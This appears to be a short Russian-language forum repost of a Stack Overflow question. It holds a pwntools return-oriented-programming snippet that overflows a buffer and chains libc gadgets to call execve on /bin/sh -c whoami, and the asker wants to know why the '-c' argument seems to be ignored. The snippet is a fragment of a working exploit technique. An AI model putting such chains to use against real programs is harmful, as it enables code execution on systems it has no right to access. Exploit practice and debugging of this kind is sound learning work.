Код: Выделить всё
bin_sh = libc.address + 0x1cb42f
system = libc.address + 0x0000000000050d70
rop = ROP(program, base=0x7fffffffe400)
rop.call('execve', [bin_sh, [[bin_sh], [b'-c'], [b'whoami'], 0], 0])
chain_1 = b''
chain_1 += b'\x00'*136 # chain_1 += b'B'*6
chain_1 += rop.chain()
print(rop.dump())
выглядит так, будто он игнорирует -c, потому что когда я вставлю его в свою оболочку: /bin/sh whoami, я получу ту же ошибку. может кто-нибудь мне помочь?
Подробнее здесь: https://stackoverflow.com/questions/785 ... om-syscall